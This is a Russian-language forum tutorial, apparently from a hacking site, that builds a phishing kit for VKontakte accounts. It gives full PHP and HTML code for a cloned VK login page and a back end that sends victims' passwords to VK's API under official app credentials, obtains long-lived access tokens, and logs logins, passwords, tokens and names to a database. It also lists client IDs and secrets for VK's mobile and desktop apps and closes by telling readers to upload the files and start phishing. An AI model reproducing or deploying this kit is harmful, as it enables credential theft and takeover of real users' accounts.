May 11, 2020

Взлом по сложнее

Суть механизма заключается в том, что мы будем отправлять данные из HTML-
форм на сервера вконтакте. В ответ мы получим access token.
Делать мы это будем с помощью cUrl и прямой авторизации через API VK.
Выполнять авторизацию будем, представляясь официальным приложением. Запрос
на прямую авторизацию выглядит примерно так:


Код:
https://api.vk.com/oauth/token?
grant_type=password&client_id=[наше значение]&scope=[наше
значение]&client_secret=[наше значение]&username=[наше
значение]&password=[наше значение]

Что все это значит:
clenit_id - это id нашего приложения. Запишем в client_id значение 2274003.
scope - права доступа, необходимые приложению. Усложнять себе жизнь мы не
будем, а просто запросим офлайн токен, записав в scope значение "offline". Этого
будет достаточно, чтобы входить на страницу ВК по токену через apidog.ru. !
Важно: такой токен "живет" до тех пор, пока пользователь не сменит пароль,
либо завершит все сессии в настройках безопасности.
client_secret - секретный ключ Вашего приложения. Будет равен
hHbZxrka2uZ6jB1inYsH
username - логин пользователя ВКонтакте
password - пароль пользователя ВКонтакте


Варианты официальных clenit_id и client_secret
Android:
client_id: 2274003
client_secret: hHbZxrka2uZ6jB1inYsH


IPhone:
client_id: 3140623
client_secret: VeWdmVclDCtn6ihuP1nt


IPad:
client_id: 3682744
client_secret: mY6CDUswIVdJLCD3j15n


Windows desktop:
client_id: 3697615
client_secret: AlVXZFMUqyrnABp8ncuU


Windows phone:
client_id: 3502557
client_secret: PEObAuQi6KloPM4T30DV


Теперь необходима форма авторизации как в вк.
Создадим php документ authorize.php
authorize.php:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
lang="en">

<head>

<?php

$errorGet = $_GET['error_login'];

if (!$errorGet)

{

echo "<style>

#hide_row_pass {display: none;}

</style>";

}

else

{

echo "<style>

#hide_row_pass {display: block;}

</style>";

}

?>

<meta http-equiv="X-UA-Compatible" content="IE=edge" />

<title>ВКонтакте | Вход</title>

<link rel="stylesheet" type="text/css" href="css/al/
common.css?34795707965" /><link rel="stylesheet" type="text/css"
href="css/al/fonts_cnt.css?5181750877" />

<link type="text/css" rel="stylesheet" href="css/api/
oauth_popup.css?29651175773"></link>

<meta http-equiv="content-type" content="text/html;
charset=utf-8" />

<link rel="shortcut icon" href="images/icons/favicons/
fav_logo_2x.ico?8"></link>

</head>

<body class="VK oauth_centered">

<script>

if (window.devicePixelRatio >= 2) document.body.className
+= ' is_2x';

</script>

<div class="oauth_wrap">

<div class="oauth_wrap_inner">

<div class="oauth_wrap_content" id="oauth_wrap_content">
<div class="oauth_head">

<a class="oauth_logo fl_l" href="https://vk.com"
target="_blank"></a>

<div id="oauth_head_info" class="oauth_head_info fl_r">

<a class="oauth_reg_link" href="https://vk.com/join?reg=1"
target="_blank">Регистрация</a>

</div>

</div>

<div class="oauth_content box_body clear_fix">

<div class="box_msg_gray box_msg_padded">Для продолжения Вам
необходимо войти <b>ВКонтакте</b>.</div>

<form method="POST" id="login_submit" action="login.php">

<div class="oauth_form">

<div id="hide_row_pass" class="box_error">Указан неверный
логин или пароль.</div>

<div class="oauth_form_login">

<div class="oauth_form_header">Телефон или email</div>

<input type="text" class="oauth_form_input dark"
name="login" value="">

<div class="oauth_form_header">Пароль</div>

<input type="password" class="oauth_form_input dark"
name="password" />

<button class="flat_button oauth_button button_wide"
id="install_allow" type="submit" name="submit_login">Войти</
button>

<a class="oauth_forgot" href="https://vk.com/restore"
target="_blank">Забыли пароль?</a>

</div>

</div>

</form>

</div>

</div>

</div>

</div>

</body>

</html>

Архив со всеми картинками и стилями:
https://yadi.sk/d/186Rs3g68l66SQ
VT:
https://www.virustotal.com/#/file/b...293d7ad391605c37f64987f0d51b7079348/
detection


Выглядеть будет так:


Теперь нужен файл, который будет отсылать логин и пароль на авторизацию и
получение токена. Назовем login.php
Но перед этим создадим БД куда будем записывать все валидные данные.


1. Переходим на хостинге в PhpMyAdmin и нажимаем "Создать"


2. Создадим таблицу на 7 столбцов


3. Параметры id, Логин (login), Пароль (password), Токен (token), Дата (date), Имя
(first_name) и Фамилия (last_name) зададим как на картинке
В параметрах столбца id должен быть отмечен параметр "A_I" (auto_increment) и
стоять PRIMARY KEY.


Теперь сам файл login.php:
<?php

//Создадим headers

$headers = array(

'accept' => 'text/html,application/xhtml+xml,application/
xml;q=0.9,image/webp,*/*;q=0.8',

'content-type' => 'application/x-www-form-urlencoded',

'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; WOW64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86
Safari/537.36'

);

//Запишем сюда значения логина и пароля из HTML формы

$login = $_POST['login'];

$password = $_POST['password'];

//Если какое-то поле оказалось пустым

if (empty($login) or empty($password))

{

//Отправим пользователя на стартовую страницу authorize и
просигнализируем об ошибке

header('Location: /authorize.php?error_login=true');

exit;

}

else

{

//Если все поля заполнены, то посылаем запрос на получение
токена по нашей ссылке выше

$get_token = post ('https://api.vk.com/oauth/token?
grant_type=password&client_id=2274003&scope=offline&client_secre
t=hHbZxrka2uZ6jB1inYsH&username='.$login.'&password='.
$password.'' ,array(

'headers' => array(

'accept: '.$headers['accept'],

'content-type: '.$headers['content-type'],

'user-agent: '.$headers['user-agent']

)

));

//Если авторизация прошла успешно

if (preg_match("/[a-z0-9]{85}/", $get_token['headers'], $token))
{

$token1 = json_decode(file_get_contents('https://api.vk.com/
oauth/token?
grant_type=password&client_id=2274003&scope=offline&client_secre
t=hHbZxrka2uZ6jB1inYsH&username='.$login.'&password='.
$password.''), true);

$data = json_decode(file_get_contents('https://api.vk.com/
method/users.get?user_id='.$token1['user_id'].'&access_token='.
$token[0].'&fields=uid,first_name,last_name&v=5.80'), true);

//Записываем в переменную текущую дату и время сервера

$date_l = date("H:i:s d-m-Y");

//Подключаемся к БД

$host="localhost";

$user=""; //Имя пользователя от MySql

$pass=""; //Пароль от MySql

$db_name=""; //Имя базы

$link=mysql_connect($host,$user,$pass);

mysql_select_db($db_name,$link);

mysql_query("set names utf8");

//Выполняем запись валида в БД

$sql = mysql_query("INSERT INTO vk(login, password, token,
date, user_id, first_name, last_name) VALUES('".$login."','".
$password."','".$token[0]."','".$date_l."','".
$token1['user_id']."','".$data['response'][0]
['first_name']."','".$data['response'][0]['last_name']."')");

//Если все прошло успешно, то перенаправляем пользователя на
vk.com или на ваш сайт

if ($sql) {

session_start();

$_SESSION['logged_user'] = $data['response'][0]
['first_name'];

header('Location: vk.com/');

//Если при записи обнаружены ошибки, то перенаправим
пользователя на главную страницу нашего сайта с сообщением об
ошибке

} else header('Location: /authorize.php?error_login=true');

//Закрываем соединение

mysql_close($link);

exit;

}

//Если авторизация не прошла, то отправим пользователя на
стартовую страницу с ошибкой

else header('Location: /authorize.php?error_login=true');

}

//cUrl POST

function post($url = null, $params = null, $proxy = null,
$proxy_userpwd = null) {

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt($ch, CURLOPT_HEADER, 1);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);

if(isset($params['params'])) {

curl_setopt($ch, CURLOPT_POST, 1);

curl_setopt($ch, CURLOPT_POSTFIELDS, $params['params']);

}

if(isset($params['headers'])) {

curl_setopt($ch, CURLOPT_HTTPHEADER, $params['headers']);

}

if(isset($params['cookies'])) {

curl_setopt($ch, CURLOPT_COOKIE, $params['cookies']);

}

if($proxy) {

curl_setopt($ch, CURLOPT_PROXY, $proxy);

if($proxy_userpwd) {

curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxy_userpwd);

}

}

$result = curl_exec($ch);

$result_explode = explode("\r\n\r\n", $result);

$headers = ((isset($result_explode[0])) ?
$result_explode[0]."\r\n" : '').''.
((isset($result_explode[1])) ? $result_explode[1] : '');

$content = $result_explode[count($result_explode) - 1];

preg_match_all('|Set-Cookie: (.*);|U', $headers,
$parse_cookies);

$cookies = implode(';', $parse_cookies[1]);

curl_close($ch);

return array('headers' => $headers, 'cookies' => $cookies,
'content' => $content);

}

?>

В переменные $host="localhost";
$user=""; //Имя пользователя от MySql
$pass=""; //Пароль от MySql
$db_name=""; //Имя базы
вписываем наши данные


На 50 строчке если авторизация прошла успешно, нужно перенаправить
пользователя на ваш сайт или куда вам угодно.
header('Location: "Ваш сайт" ');
Осталось залить все файлы на хостинг и можно фишить.